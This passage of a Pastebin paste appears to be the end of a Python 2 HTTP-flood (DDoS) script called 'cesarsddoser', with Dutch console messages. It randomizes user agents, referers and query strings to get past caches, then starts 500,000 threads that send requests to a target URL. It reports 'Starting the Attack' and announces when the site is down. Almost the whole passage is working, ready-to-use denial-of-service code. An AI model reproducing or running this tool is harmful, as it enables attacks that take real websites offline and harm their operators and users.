  796.     headers_useragents.append('Franklin Locator 1.8')
  797.     headers_useragents.append('free-downloads.net download-link validator /0.1')
  798.     headers_useragents.append('FreeFind.com-SiteSearchEngine/1.0 (http://freefind.com; spiderinfo@freefind.com)')
  799.     headers_useragents.append('Frelicbot/1.0 +http://www.frelic.com/')
  800.     headers_useragents.append('FreshDownload/x.xx')
  801.     headers_useragents.append('FreshNotes crawler< report problems to crawler-at-freshnotes-dot-com')
  802.     headers_useragents.append('FSurf15a 01')
  803.     headers_useragents.append('FTB-Bot http://www.findthebest.co.uk/')
  804.     headers_useragents.append('Full Web Bot 0416B')
  805.     headers_useragents.append('Full Web Bot 0516B')
  806.     headers_useragents.append('Full Web Bot 2816B')
  807.     headers_useragents.append('FuseBulb.Com')
  808.     headers_useragents.append('FyberSpider (+http://www.fybersearch.com/fyberspider.php)')
  809.     headers_useragents.append('unknownght.com Web Server IIS vs Apache Survey. See Results at www.DNSRight.com  headers_useragents.append(')
  810.     return(headers_useragents)
  811.  
  812. # generates a referer array
  813. def referer_list():
  814.     global headers_referers
  815.     headers_referers.append('http://www.google.com/?q=')
  816.     headers_referers.append('http://www.usatoday.com/search/results?q=')
  817.     headers_referers.append('http://engadget.search.aol.com/search?q=')
  818.     headers_referers.append('http://' + host + '/')
  819.     return(headers_referers)
  820.    
  821. #builds random ascii string
  822. def buildblock(size):
  823.     out_str = ''
  824.     for i in range(0, size):
  825.         a = random.randint(65, 90)
  826.         out_str += chr(a)
  827.     return(out_str)
  828.  
  829. def usage():
  830.     print 'voer lekker je url in na de launch. KEK'
  831.     print "\a"
  832. print \
  833. """                        .
  834.                                  _     _                    
  835.  ___ ___  ___  __ _ _ __ ___  __| | __| | ___  ___  ___ _ __
  836. / __/ _ \/ __|/ _` | '__/ __|/ _` |/ _` |/ _ \/ __|/ _ \ '__|
  837. | (_|  __/\__ \ (_| | |  \__ \ (_| | (_| | (_) \__ \ __/ |  
  838. \___\___||___/\__,_|_|  |___/\__,_|\__,_|\___/|___/\___|_|  
  839. """
  840. print '---------------------------------------------------'
  841.  
  842.    
  843. #http request
  844. def httpcall(url):
  845.     useragent_list()
  846.     referer_list()
  847.     code=0
  848.     if url.count("?")>0:
  849.         param_joiner="&"
  850.     else:
  851.         param_joiner="?"
  852.     request = urllib2.Request(url + param_joiner + buildblock(random.randint(3,10)) + '=' + buildblock(random.randint(3,10)))
  853.     request.add_header('User-Agent', random.choice(headers_useragents))
  854.     request.add_header('Cache-Control', 'no-cache')
  855.     request.add_header('Accept-Charset', 'ISO-8859-1,utf-8;q=0.7,*;q=0.7')
  856.     request.add_header('Referer', random.choice(headers_referers) + buildblock(random.randint(5,10)))
  857.     request.add_header('Keep-Alive', random.randint(110,120))
  858.     request.add_header('Connection', 'keep-alive')
  859.     request.add_header('Host',host)
  860.     try:
  861.             urllib2.urlopen(request)
  862.     except urllib2.HTTPError, e:
  863.             #print e.code
  864.             set_flag(1)
  865.             print 'De website is plat.'
  866.             code=500000
  867.     except urllib2.URLError, e:
  868.             #print e.reason
  869.             sys.exit()
  870.     else:
  871.             inc_counter()
  872.             urllib2.urlopen(request)
  873.     return(code)      
  874.  
  875.    
  876. #http caller thread
  877. class HTTPThread(threading.Thread):
  878.     def run(self):
  879.         try:
  880.             while flag<2:
  881.                 code=httpcall(url)
  882.                 if (code==500000) & (safe==1):
  883.                     set_flag(2)
  884.         except Exception, ex:
  885.             pass
  886.  
  887. # monitors http threads and counts requests
  888. class MonitorThread(threading.Thread):
  889.     def run(self):
  890.         previous=request_counter
  891.         while flag==0:
  892.             if (previous+100<request_counter) & (previous<>request_counter):
  893.                 print "%d (= Starting the Attack =}" % (request_counter)
  894.                 previous=request_counter
  895.         if flag==2:
  896.             print "\n -fall and not get up"
  897.  
  898. #execute
  899. if len(sys.argv) < 2:
  900.     usage()
  901.     sys.exit()
  902. else:
  903.     if sys.argv[1]=="help":
  904.         usage()
  905.         sys.exit()
  906.     else:
  907.         print "Copyright: Anonymous"
  908.         if len(sys.argv)== 3:
  909.             if sys.argv[2]=="safe":
  910.                 set_safe()
  911.         url = sys.argv[1]
  912.         if url.count("/")==2:
  913.             url = url + "/"
  914.         m = re.search('http\://([^/]*)/?.*', url)
  915.         host = m.group(1)
  916.         for i in range(500000):
  917.             t = HTTPThread()
  918.             t.start()
  919.         t = MonitorThread()
  920.         t.start()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement
Public Pastes
Advertisement
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy.  OK, I Understand
Not a member of Pastebin yet?
Sign Up, it unlocks many cool features!